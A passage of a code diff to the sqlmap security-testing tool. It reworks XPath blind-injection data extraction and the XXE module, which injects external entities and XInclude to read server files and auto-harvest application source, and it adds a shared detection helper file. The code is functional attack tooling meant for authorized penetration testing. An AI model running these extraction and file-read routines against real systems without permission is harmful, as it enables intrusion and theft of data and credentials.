request(SENTINEL) + truePayload = _makePayload(base, boundary, "true()") + falsePayload = _makePayload(base, boundary, "false()") + trueModel = request(truePayload) + falseModel = request(falsePayload) - def oracle(payload): - page = request(payload) - if page is None or _isError(page): - return False - return _ratio(template, page) >= UPPER_RATIO_BOUND + # both models must be present, non-error, independently reproducible, and separable + if trueModel is None or falseModel is None or _isError(trueModel) or _isError(falseModel): + return None + if _ratio(trueModel, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: + return None + if _ratio(falseModel, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: + return None + if _ratio(trueModel, falseModel) >= UPPER_RATIO_BOUND: # indistinguishable -> can't extract + return None def extract(payload): + # A transport failure / blocked / error response is UNKNOWN, not False: route even a missing + # initial sample through resolveBit(), which re-sends and ultimately raises InconclusiveError + # (so the value aborts) rather than pre-deciding a False bit that corrupts the bisection. page = request(payload) - if page is None or _isError(page): - return False - trueRatio = _ratio(template, page) - falseRatio = _ratio(falsePage, page) - # Require either an unambiguous match against the template or a - # clear separation from the false page (minimum 5 %pt margin) - return trueRatio >= UPPER_RATIO_BOUND or (trueRatio - falseRatio) > 0.05 + usable = page if (page is not None and not _isError(page)) else None + + def fresh(): + p = _send(place, parameter, payload) + return None if (p is None or _isError(p)) else p + return resolveBit(usable, trueModel, falseModel, fresh) + + def oracle(payload): + return extract(payload) oracle.extract = extract - oracle.template = template - oracle.falsePage = falsePage + oracle.template = trueModel + oracle.falsePage = falseModel oracle.cache = cache return oracle @@ -387,43 +469,57 @@ def _inferValue(oracle, builder, path, getter, maxLen=XPATH_MAX_LENGTH): value = "" probes = 0 - for _ in xrange(maxLen): - found = False + try: + for _ in xrange(maxLen): + found = False + + for cp in _CHARSET: + candidate = value + chr(cp) + probes += 1 - for cp in _CHARSET: - candidate = value + chr(cp) - probes += 1 + if oracle.extract(getter(builder, path, candidate)): + value = candidate + found = True + break - if oracle.extract(getter(builder, path, candidate)): - value = candidate - found = True + if not found: break - if not found: - break - - if value.endswith(" "): - value = value.rstrip() - break + if value.endswith(" "): + value = value.rstrip() + break + except InconclusiveError: + # the oracle stayed ambiguous after retries -> ABORT this value rather than silently + # truncate it with a wrong bit (returning None marks it unavailable, not fabricated) + logger.warning("XPath extraction aborted for a value (oracle inconclusive after retries)") + return None logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, len(value))) return value if value else None def _inferCount(oracle, builder, path, countFn, maxCount=128): - """Binary search for a count value using predicate 'count(...)>=N'.""" + """Binary search for a count value using predicate 'count(...)>=N'. Returns the count, or None + when the oracle is inconclusive - NEVER 0, because a real 0 means 'this element is a leaf' and the + tree walker would then fabricate scalar text for a node whose child count is actually UNKNOWN.""" - if not oracle.extract(countFn(builder, path, 1)): - return 0 - - lo, hi = 1, maxCount - while lo < hi: - mid = (lo + hi + 1) // 2 - if oracle.extract(countFn(builder, path, mid)): - lo = mid - else: - hi = mid - 1 - return lo + try: + if not oracle.extract(countFn(builder, path, 1)): + return 0 + + lo, hi = 1, maxCount + while lo < hi: + mid = (lo + hi + 1) // 2 + if oracle.extract(countFn(builder, path, mid)): + lo = mid + else: + hi = mid - 1 + return lo + except InconclusiveError: + # unknown must NOT collapse to 0 (that reads as a leaf); signal it so the walker marks the + # node partial instead of inventing a structurally-plausible but wrong empty/leaf element + logger.warning("XPath count inference inconclusive (oracle ambiguous after retries)") + return None def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): @@ -436,36 +532,41 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): lot when walking a whole document tree. Characters outside the charset are surfaced as '?' so the rest of the value is still recovered.""" - if not oracle.extract(builder.stringLengthAtLeast(target, 1)): - return None - - lo, hi = 1, maxLen - while lo < hi: - mid = (lo + hi + 1) // 2 - if oracle.extract(builder.stringLengthAtLeast(target, mid)): - lo = mid - else: - hi = mid - 1 - length = lo - - chars = [] - probes = 0 - last = len(_CS_ORDS) - 1 - for pos in xrange(1, length + 1): - probes += 1 - if not oracle.extract(builder.charPresent(target, pos)): - chars.append("?") - continue + try: + if not oracle.extract(builder.stringLengthAtLeast(target, 1)): + return None + + lo, hi = 1, maxLen + while lo < hi: + mid = (lo + hi + 1) // 2 + if oracle.extract(builder.stringLengthAtLeast(target, mid)): + lo = mid + else: + hi = mid - 1 + length = lo - clo, chi = 0, last - while clo < chi: - cmid = (clo + chi + 1) // 2 + chars = [] + probes = 0 + last = len(_CS_ORDS) - 1 + for pos in xrange(1, length + 1): probes += 1 - if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)): - clo = cmid - else: - chi = cmid - 1 - chars.append(chr(_CS_ORDS[clo])) + if not oracle.extract(builder.charPresent(target, pos)): + chars.append("?") + continue + + clo, chi = 0, last + while clo < chi: + cmid = (clo + chi + 1) // 2 + probes += 1 + if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)): + clo = cmid + else: + chi = cmid - 1 + chars.append(chr(_CS_ORDS[clo])) + except InconclusiveError: + # abort this value rather than emit a length/char chosen from an ambiguous bit + logger.warning("XPath string inference aborted (oracle inconclusive after retries)") + return None value = "".join(chars) logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, length)) @@ -485,61 +586,84 @@ def _walkTree(oracle, builder, path="/*", depth=0): logger.info("discovered element: '%s'" % name) + # None => inconclusive (NOT a real count). An unknown child/attribute count must leave the node + # PARTIAL: never treat unknown as a leaf (which would fabricate scalar text) or iterate a phantom + # range - only enumerate when the count is a confirmed, positive integer. childCount = _inferCount(oracle, builder, path, lambda b, p, c: b.childCount(p, c), maxCount=32) - if childCount >= 32: + if childCount is None: + logger.warning("element '%s' child count is inconclusive; marking node partial" % name) + elif childCount >= 32: logger.warning("element '%s' hit the 32-child cap; some child nodes may be omitted" % name) attrCount = _inferCount(oracle, builder, path, lambda b, p, c: b.attributeCount(p, c), maxCount=16) - if attrCount >= 16: + if attrCount is None: + logger.warning("element '%s' attribute count is inconclusive; some attributes may be omitted" % name) + elif attrCount >= 16: logger.warning("element '%s' hit the 16-attribute cap; some attributes may be omitted" % name) attributes = [] - for i in xrange(1, attrCount + 1): + for i in xrange(1, (attrCount or 0) + 1): attrName = _inferString(oracle, builder, "name(%s/@*[%d])" % (path, i)) if not attrName: continue attrValue = _inferString(oracle, builder, "string(%s/@*[%d])" % (path, i)) - attributes.append({"name": attrName, "value": attrValue or ""}) - logger.info(" attribute: @%s='%s'" % (attrName, attrValue or "")) + # None => inconclusive (aborted) attribute value; mark it visibly, don't blank it into "" + shown = INCONCLUSIVE_MARK if attrValue is None else attrValue + attributes.append({"name": attrName, "value": shown}) + logger.info(" attribute: @%s='%s'" % (attrName, shown)) + # only a CONFIRMED zero child count means "leaf" -> infer its scalar text; an unknown (None) count + # must not be read as a leaf text = None if childCount == 0: text = _inferString(oracle, builder, "string(%s)" % path) children = [] - for i in xrange(1, childCount + 1): + for i in xrange(1, (childCount or 0) + 1): childPath = "%s/*[%d]" % (path, i) child = _walkTree(oracle, builder, childPath, depth + 1) if child: children.append(child) + # PARTIAL when a count is unknown (None) OR a cap was hit (>=32 children / >=16 attributes) - a + # truncated node is not a complete one + partial = (childCount is None or attrCount is None + or (childCount is not None and childCount >= 32) + or (attrCount is not None and attrCount >= 16)) return { "name": name, "path": path, "children": children, "attributes": attributes, "text": text, + "partial": partial, } def _treeToTable(node): - """Flatten a tree node to (columns, rows) for grid output.""" + """Flatten a tree node to (columns, rows) for grid output. A node whose child/attribute count was + inconclusive is flagged (Element name suffixed with ' [partial]') so the recovered structure is + visibly distinguished from a fully-enumerated one.""" columns = ["Path", "Element", "Attribute", "Value"] rows = [] def _flatten(n, depth=0): path = n["path"] - rows.append([path, n["name"], "", ""]) + partial = n.get("partial") + name = n["name"] + (" [partial]" if partial else "") + # keep the bare element row when the node is PARTIAL (so a partial node with no recovered + # attributes/children/text still appears - it must not be filtered away as if fully empty) + rows.append([path, name, "", "[partial - enumeration inconclusive]" if partial else ""]) for attr in n.get("attributes", []): - rows.append([path, n["name"], "@" + attr["name"], attr["value"]]) + rows.append([path, name, "@" + attr["name"], attr["value"]]) if n.get("text"): - rows.append([path, n["name"], "text()", n["text"]]) + rows.append([path, name, "text()", n["text"]]) for child in n.get("children", []): _flatten(child, depth + 1) @@ -605,15 +729,23 @@ def xpathScan(): template, payload, boundary = _detectBoolean(place, parameter) if template: if boundary and boundary.extractable: - found += 1 backend = backendHint or "Generic XPath" - logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s')" % (place, parameter, backend)) + original = _originalValue(place, parameter) or "" + oracle = _makeOracle(place, parameter, boundary, _extractionBase(original, boundary)) + found += 1 if conf.beep: beep() - - oracle = _makeOracle(place, parameter, template) + if oracle is None: + # detection is confirmed, but the extraction true/false models are not + # reliably separable - report the finding WITHOUT extracting (never emit + # fabricated tree data from an unstable oracle) + logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s'); " + "extraction disabled (true/false models not reliably separable)" % (place, parameter, backend)) + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: XPath boolean-based blind (extraction unavailable)\n Payload: %s\n---" % (parameter, place, payload)) + continue + logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s')" % (place, parameter, backend)) slots.append(Slot(place=place, parameter=parameter, backend=backend, - oracle=oracle, template=template, payload=payload, + oracle=oracle, template=oracle.template, payload=payload, boundary=boundary)) continue @@ -653,13 +785,8 @@ def xpathScan(): return original = _originalValue(slot.place, slot.parameter) or "x" - # OR-style boundaries always-true if the original branch matches, so use a - # sentinel that is guaranteed not to appear as a field value. AND-style - # boundaries need the original branch to match; keep the original there. - if " or " in slot.boundary.prefix: - base = SENTINEL - else: - base = original + # SAME base the oracle was calibrated with (see _extractionBase / _makeOracle) + base = _extractionBase(original, slot.boundary) builder = _XPathPayloadBuilder(base, slot.boundary) oracle = slot.oracle diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 1e62de59a59..50bc5375362 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -16,6 +16,7 @@ from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -34,8 +35,13 @@ from lib.core.settings import OOB_POLL_ATTEMPTS from lib.core.settings import OOB_POLL_DELAY from lib.core.settings import XXE_LOCAL_DTDS +from lib.core.settings import XXE_LOCATION_SWEEP_MAX from lib.core.settings import XXE_TIME_THRESHOLD +from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request +from lib.utils.nonsql import ratio as _ratio +from lib.utils.xrange import xrange +from thirdparty.six.moves import urllib as _urllib # Fresh per-scan sentinel token. Deliberately a random opaque string (never # root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and @@ -50,6 +56,11 @@ # Cached answer to the one-time "use a public OOB service?" consent prompt (per scan). _OOB_CONSENT = None +# Latched leaf text-node location that the in-band reflection sweep proved workable. Every subsequent +# body-injection tier (`_placeRef` with index left as None) reuses it, so once the reflecting node is +# found the file-read/harvest/XInclude tiers all target that same spot instead of always the first leaf. +_PLACE_INDEX = 0 + # First element of the document (skipping the prolog, comments and any # DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc. _ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)") @@ -139,57 +150,152 @@ def _send(body): return "" +def _scanDoctype(xml): + """Non-resolving lexical scan for a DOCTYPE declaration. Returns {start, subsetOpen, subsetClose, + end} byte offsets (subsetOpen/subsetClose None when there is no internal subset), or None when the + document has no DOCTYPE. Tracks quote state, comments and the internal subset so a '>' or ']>' + sitting inside a quoted entity value, a comment, or a nested markup declaration does NOT + prematurely terminate the scan - a plain regex mis-detects every one of those and either truncates + the DOCTYPE or finds a phantom subset close, corrupting the built payload. This scanner never + resolves entities or fetches external ids; it only locates boundaries.""" + m = re.search(r"", i + 4) + i = (end + 3) if end != -1 else n + elif c in ('"', "'"): + quote = c + i += 1 + elif c == '[' and subsetOpen is None: + subsetOpen = i + j, depth, iq = i + 1, 0, None + while j < n: # scan the internal subset to its matching ']' + cj = xml[j] + if iq: + if cj == iq: + iq = None + j += 1 + elif xml.startswith("", j + 4) + j = (e + 3) if e != -1 else n + elif cj in ('"', "'"): + iq = cj + j += 1 + elif cj == ']' and depth == 0: + subsetClose = j + break + else: + if cj == '<': + depth += 1 + elif cj == '>' and depth > 0: + depth -= 1 + j += 1 + i = (subsetClose + 1) if subsetClose is not None else n + elif c == '>': + return {"start": m.start(), "subsetOpen": subsetOpen, "subsetClose": subsetClose, "end": i + 1} + else: + i += 1 + return {"start": m.start(), "subsetOpen": subsetOpen, "subsetClose": subsetClose, "end": n} + + +def _contentStart(xml): + """Offset at which document-element content begins: just past a DOCTYPE (located by the lexical + scanner, so a quoted '>' / comment / CDATA inside it is not mistaken for its end), else just past + the XML prolog, else 0. Text-node operations start here so they never touch the DTD.""" + doctype = _scanDoctype(xml) + if doctype: + return doctype["end"] + prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL) + return prolog.end() if prolog else 0 + + def _buildDoctype(xml, rootName, internalSubset): """Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`. A document may already declare a DOCTYPE - injecting a second one is invalid XML and every parser rejects it, so we splice into the existing declaration - instead (into its internal subset, or by adding one to a subset-less DOCTYPE).""" + instead (into its internal subset, or by adding one to a subset-less DOCTYPE). + Boundaries come from the lexical scanner, not a regex, so a quoted '>' or a + comment inside an existing DOCTYPE cannot misplace the splice.""" - existing = re.search(r"\[]*\[", xml) - if existing: + doctype = _scanDoctype(xml) + if doctype and doctype["subsetOpen"] is not None: # Splice our declarations into the existing internal subset. - insertAt = xml.index('[', existing.start()) + 1 + insertAt = doctype["subsetOpen"] + 1 return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:] - subsetless = re.search(r"\[]*>", xml) - if subsetless: + if doctype: # DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"): # add an internal subset before its closing '>' (both may legally coexist). - close = xml.index('>', subsetless.start()) + close = doctype["end"] - 1 return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:] - doctype = "" % (rootName, internalSubset) + built = "" % (rootName, internalSubset) prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL) if prolog: end = prolog.end() - return xml[:end] + "\n" + doctype + xml[end:] - return doctype + "\n" + xml + return xml[:end] + "\n" + built + xml[end:] + return built + "\n" + xml -def _placeRef(xml, snippet, attrs=False): - """Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf - text node - not just the first - so detection does not depend on which field the - application happens to reflect. When `attrs` is set (internal-entity tier only), - also seed existing attribute values, since a general internal entity legally - expands inside an attribute (external entity refs do NOT - never seed attributes - for the external/XInclude tiers or the document becomes ill-formed). Falls back to - injecting just before the root's closing tag when there is no text node at all.""" +def _textNodeCount(xml): + """Number of leaf text nodes `_placeRef` can target (for callers that sweep one location at a + time). Excludes the DOCTYPE, mirroring `_placeRef` (via the lexical `_contentStart`).""" + return len(_TEXTNODE_RE.findall(xml[_contentStart(xml):])) + + +def _sweepLocations(xml): + """Ordered list of leaf-text-node indices for a body-injection tier to try, bounded by + XXE_LOCATION_SWEEP_MAX so a document with many text nodes cannot explode the request count. When + the user pinned an explicit injection marker there is exactly one spot, so no sweep is needed.""" + if _MARKER and _MARKER in xml: + return [0] + return list(xrange(min(max(1, _textNodeCount(xml)), XXE_LOCATION_SWEEP_MAX))) + + +def _placeRef(xml, snippet, attrs=False, index=None): + """Insert `snippet` (an entity reference or an XInclude element) into ONE leaf text node - the + `index`-th - PRESERVING every other value. Replacing every leaf (and, in the internal-entity tier, + every attribute) at once corrupted the whole document: schema validation, XML signatures/checksums, + authentication values, IDs and routing fields were all destroyed, which both causes false negatives + (the app rejects the mutated document, unrelated to entity handling) and can trigger application-side + actions on altered values. An explicit '*'/marker still wins. When `attrs` is set and there is no + text node, seeds ONE attribute value. `index` None (the default) uses the latched `_PLACE_INDEX` - + the location the reflection sweep proved workable - so downstream read tiers reuse it; the sweep + itself passes an explicit `index` 0..N-1 (see `_textNodeCount`) to try each location individually. + `snippet` is placed in exactly one spot per call so the rest of the document stays well-formed and + semantically intact.""" + + if index is None: + index = _PLACE_INDEX if _MARKER and _MARKER in xml: return xml.replace(_MARKER, snippet) # honour the user's explicit injection point - start = re.search(r"\]>", xml).end() if "]>" in xml else 0 + start = _contentStart(xml) # skip the DOCTYPE via the lexical scanner (quote/comment safe) head, tail = xml[:start], xml[start:] - tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail) + + matches = list(_TEXTNODE_RE.finditer(tail)) + if matches: + m = matches[index if 0 <= index < len(matches) else 0] + return head + tail[:m.start()] + ">" + snippet + "<" + tail[m.end():] if attrs: - # Seed every attribute value except namespace declarations (xmlns / xmlns:*), - # whose rewriting would break the document. Only touches simple, entity-free - # values (the '[^"\'<>&]*' class) so we never corrupt existing markup. - tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''', - lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail) - count += acount - if count: - return head + tail + # a general internal entity legally expands inside an attribute value; seed ONE attribute + # (never xmlns) when the document has no text node. External-entity/XInclude tiers must not + # request this (an external ref in an attribute is ill-formed). + am = re.search(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''', tail) + if am: + return head + tail[:am.start()] + "%s%s%s%s" % (am.group(1), am.group(2), snippet, am.group(2)) + tail[am.end():] rootName = _rootName(xml) if rootName: @@ -229,11 +335,11 @@ def _echoed(page): return False -def _report(title, payload): +def _report(title, payload, vulnType="XXE injection"): if conf.beep: beep() place = conf.method or HTTPMETHOD.POST - conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) + conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: %s\n Title: %s\n Payload: %s\n---" % (place, vulnType, title, payload)) def _saveFileRead(remoteFile, content): @@ -349,15 +455,16 @@ def _harvestSource(xml, rootName, harvested): return result -def _tryInternal(xml, rootName, baseline): +def _tryInternal(xml, rootName, baseline, index=None): """T2 in-band: an internal general entity expands to the sentinel and is reflected. Guarded by a negative control (sentinel absent from baseline) and a raw-echo guard (the literal '&ent;' must NOT survive - that would mean the - app merely mirrors the body without parsing entities).""" + app merely mirrors the body without parsing entities). `index` selects the leaf + text node to inject into (the sweep in `xxeScan` tries each in turn).""" ent = randomStr(length=8, lowercase=True) subset = '' % (ent, SENTINEL) - payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True, index=index) page = _send(payload) if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline: @@ -378,35 +485,83 @@ def _confirmRead(page, pattern, baseline): return None -def _tryInbandFileRead(xml, rootName, fileName): - """Read an arbitrary file IN-BAND on a reflective target: place the external - entity between two random markers so the exact file content can be sliced out - of the response regardless of surrounding template. Raw file:// works for text - files; php://filter base64 (PHP) carries files with XML-special bytes. Returns - (content, payload) or (None, None).""" +def _normalizeEscaping(text): + """Bounded, non-resolving decode of the common reflection encodings (HTML entities, percent- + encoding, JS \\uXXXX / escaped slash) so an ESCAPED entity reference (&e;, &e;, &e;, + %26e%3B, \\u0026e;) is unmasked and can be recognised as reflection rather than file content.""" + out = getUnicode(text) + for _ in range(3): # a few rounds catch double-encoding; capped + prev = out + try: + out = htmlUnescape(out) + except Exception: + pass + try: + out = _urllib.parse.unquote(out) + except Exception: + pass + out = out.replace("\\u0026", "&").replace("\\u003b", ";").replace("\\/", "/") + if out == prev: + break + return out + +def _readBetweenMarkers(xml, rootName, systemId, isB64, m1, m2): + """Read `systemId` via an external entity placed between markers `m1`/`m2`; slice, reject a + reflected (un-expanded) entity in any encoding, and base64-decode when requested. Returns + (content, payload) with content=None when nothing usable came back.""" from lib.core.convert import decodeBase64 + ent = randomStr(8, lowercase=True) + subset = '' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + page = getUnicode(_send(payload)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL) + if not match: + return None, payload + data = match.group(1) + # a reflected (not expanded) entity in ANY encoding: the random entity NAME survives de-escaping -> + # the parser echoed the reference, it did not resolve the external entity -> not file content + if not data.strip() or ent in _normalizeEscaping(data): + return None, payload + if isB64: + try: + data = getText(decodeBase64(data.strip())) # strict base64 also validates real bytes + except Exception: + return None, payload + if not data or not data.strip() or ent in _normalizeEscaping(data): + return None, payload + return (data if (data and data.strip()) else None), payload + + +def _tryInbandFileRead(xml, rootName, fileName): + """Read an arbitrary file IN-BAND on a reflective target. The strict php://filter base64 channel is + PREFERRED (self-validating: only real bytes decode). The raw file:// channel is guarded by a MATCHED + CONTROL - a read of a random NONEXISTENT path with identical markers: a gateway/sanitizer that + substitutes a fixed placeholder (e.g. '[external entity disabled]', an error string) returns the + SAME text regardless of path, so if the requested-path read is materially identical to the + nonexistent-path read it is NOT genuine content and is rejected. Returns (content, payload) or + (None, None).""" m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) - for systemId, isB64 in ((_toSystemId(fileName), False), - ("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True)): - ent = randomStr(8, lowercase=True) - subset = '' % (ent, systemId) - payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) - page = getUnicode(_send(payload)) - match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL) - if not match: - continue - data = match.group(1) - if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo - continue - if isB64: - try: - data = getText(decodeBase64(data.strip())) - except Exception: - continue - if data and data.strip(): - return data, payload + + # (1) preferred: strict base64 (PHP) - decoding proves the bytes are real, no control needed + data, payload = _readBetweenMarkers(xml, rootName, + "php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True, m1, m2) + if data: + return data, payload + + # (2) raw file:// with a nonexistent-path differential control + data, payload = _readBetweenMarkers(xml, rootName, _toSystemId(fileName), False, m1, m2) + if data: + bogus = _toSystemId("/%s/%s" % (randomStr(10, lowercase=True), randomStr(12, lowercase=True))) + control, _ = _readBetweenMarkers(xml, rootName, bogus, False, m1, m2) + if control is not None and _ratio(control, data) >= UPPER_RATIO_BOUND: + # a nonexistent path returned the same/similar text -> a path-independent placeholder, not + # the requested file's contents + logger.debug("XXE raw read of '%s' matches a nonexistent-path control; rejecting placeholder" % fileName) + return None, None + return data, payload + return None, None @@ -541,13 +696,14 @@ def _extract(page, isB64): return None, None -def _tryXInclude(xml, rootName, baseline): +def _tryXInclude(xml, rootName, baseline, index=None): """T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as - text. Confirmed when the file content appears in the response (baseline-guarded).""" + text. Confirmed when the file content appears in the response (baseline-guarded). + `index` selects the leaf text node to inject the into.""" for systemId, pattern in XXE_IMPACT_FILES: snippet = '' % systemId - payload = _placeRef(xml, snippet) + payload = _placeRef(xml, snippet, index=index) confirmed = _confirmRead(_send(payload), pattern, baseline) if confirmed: return payload, systemId, confirmed @@ -737,9 +893,10 @@ def _tryOob(xml, rootName): def xxeScan(): - global SENTINEL, _OOB_CONSENT + global SENTINEL, _OOB_CONSENT, _PLACE_INDEX SENTINEL = randomStr(length=12, lowercase=True) _OOB_CONSENT = None + _PLACE_INDEX = 0 debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " debugMsg += "in the request body and, once confirmed, automatically harvests high-value " @@ -769,7 +926,14 @@ def xxeScan(): # then emit a SINGLE report block with the strongest confirmed vector and its real # payload (one report per finding, as with the other non-SQL engines). The internal # expansion is only reported on its own when no external-entity read is reachable. - payload, page = _tryInternal(xml, rootName, baseline) + payload = page = None + for _locIndex in _sweepLocations(xml): + payload, page = _tryInternal(xml, rootName, baseline, index=_locIndex) + if payload: + _PLACE_INDEX = _locIndex # latch the reflecting location for every downstream read tier + if _locIndex: + logger.debug("in-band reflection confirmed at leaf text-node location #%d" % _locIndex) + break if payload: expansionSeen = True logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") @@ -782,15 +946,16 @@ def xxeScan(): _report("In-band file read ('%s')" % conf.fileRead, readPayload) _dumpFileRead(conf.fileRead, content) else: - # No targeted '--file-read': proactively harvest a curated set of high-value - # files (data stays in the response, no third party) - the XXE analogue of - # the automatic dumping the other non-SQL engines do once confirmed. + # No targeted '--file-read': AUTO-HARVEST a curated set of high-value files (the data + # stays in the response, no third party). `--xxe` is an auxiliary, self-contained switch + # - users generally don't know which file to request, so once an in-band read primitive + # is confirmed we harvest by default (the XXE analogue of the other non-SQL engines' + # automatic dumping). A specific target still overrides via '--file-read '. harvested = _harvestFiles(xml, rootName) if harvested: found = True firstPath, _, firstPayload = harvested[0] - # follow-up: server-side application source disclosure (php://filter) - harvested += _harvestSource(xml, rootName, harvested) + harvested += _harvestSource(xml, rootName, harvested) # server-side app source (php://filter) logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested)) _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) saved = [] @@ -804,9 +969,8 @@ def xxeScan(): if saved: conf.dumper.rFile(saved) else: - # Harvest read nothing (content relocated in the response, or only benign - # host-identity is exposed): fall back to the pattern-based impact proof - # so file-read impact is still confirmed. + # harvest read nothing (content relocated, or only benign host-identity exposed): + # fall back to the pattern-based impact proof so file-read impact is still confirmed systemId, readPayload = _tryExternalFile(xml, rootName, baseline) if not systemId: readPayload = _tryPhpFilter(xml, rootName, baseline) @@ -817,9 +981,12 @@ def xxeScan(): _report("In-band file-read impact (external entity '%s')" % systemId, readPayload) if not found: - # external entities are disabled (only internal expansion is reachable): - # report that weaker-but-real finding with its actual payload - _report("In-band DTD/internal entity expansion", payload) + # Only INTERNAL general-entity expansion is reachable - external retrieval / local file + # access / XInclude / OOB were NOT proven. That is a parser-configuration weakness, NOT a + # confirmed XXE (which requires external resolution). Report it as its own, weaker finding + # so it is not conflated with a true external-entity XXE. + _report("DTD/internal general entity expansion enabled (external entity access NOT confirmed)", + payload, vulnType="XML parser configuration") # T3: error-based (works where entities are not reflected but errors leak). A # redundant detection channel once in-band reflection was already seen, so it is @@ -853,13 +1020,16 @@ def xxeScan(): _report("Error-based in-band file read ('%s')" % fileName, "" % fileName) _dumpFileRead(fileName, content) - # T4: XInclude fallback (no DOCTYPE/entity control needed) + # T4: XInclude fallback (no DOCTYPE/entity control needed). Reflection never latched a location + # here, so sweep the leaf text nodes (a schema-rejected or non-parsed first leaf otherwise hides it). if not found: - payload, systemId, snippet = _tryXInclude(xml, rootName, baseline) - if payload: - found = True - logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) - _report("XInclude file read ('%s')" % systemId, payload) + for _locIndex in _sweepLocations(xml): + payload, systemId, snippet = _tryXInclude(xml, rootName, baseline, index=_locIndex) + if payload: + found = True + logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) + _report("XInclude file read ('%s')" % systemId, payload) + break # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16 # variant re-detects internal-entity reflection, so it is redundant (and mislabels diff --git a/lib/utils/nonsql.py b/lib/utils/nonsql.py new file mode 100644 index 00000000000..23e38d3638b --- /dev/null +++ b/lib/utils/nonsql.py @@ -0,0 +1,148 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Shared detection primitives for the non-SQL injection techniques (--nosql, --xpath, --ldap, --hql, +--ssti, --graphql, --xxe). Each of those engines historically carried its own copy of the same +response-comparison, error/blocked-status filtering, blind-bit classification and user-oracle logic; +this module is the single home for that shared machinery so the behavior is uniform and reviewable +in one place rather than drifting across six files. +""" + +import difflib +import re + +from lib.core.data import conf +from lib.core.settings import UPPER_RATIO_BOUND +from lib.parse.html import htmlParser + +# Minimum similarity margin by which a blind-extraction response must lean toward the confirmed TRUE +# model over the FALSE model before a bit is accepted as true (else ambiguous -> false). Deliberately +# generous: a small (e.g. 5%) margin lets a noisy page fabricate values one character at a time. +EXTRACT_MATCH_MARGIN = 0.2 + +# HTTP statuses that mean the response is BLOCKED (WAF / rate-limit); together with 5xx these must +# never be fed to a boolean oracle as if they were application content. +BLOCKED_HTTP_CODES = frozenset((403, 429)) + +# generic SQL/DBMS error marker (mirrors lib/parse/html.py's own generic check), used alongside the +# DBMS-specific errors.xml signatures that htmlParser() recognizes +_SQL_ERROR_REGEX = re.compile(r"(?i)SQL (warning|error|syntax)") + + +def ratio(first, second): + """Content-similarity ratio shared by every non-SQL detector (difflib quick_ratio over the two + response bodies) - one implementation instead of six identical copies.""" + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def blockedStatus(code): + """True when an HTTP status means the response is blocked/errored (a 5xx, or a WAF/rate-limit + 403/429) and so is not a usable oracle sample. `_send()` implementations return None for these + (and for transport exceptions) so the boolean routines, which reject None, can never decide on + a non-answer.""" + return bool(code) and (code >= 500 or code in BLOCKED_HTTP_CODES) + + +def sqlErrorPresent(page): + """True when the response carries a recognized SQL/DBMS error - either a DBMS-specific signature + from sqlmap's errors.xml (via htmlParser) or the generic 'SQL warning/error/syntax' marker. The + non-SQL detectors treat such 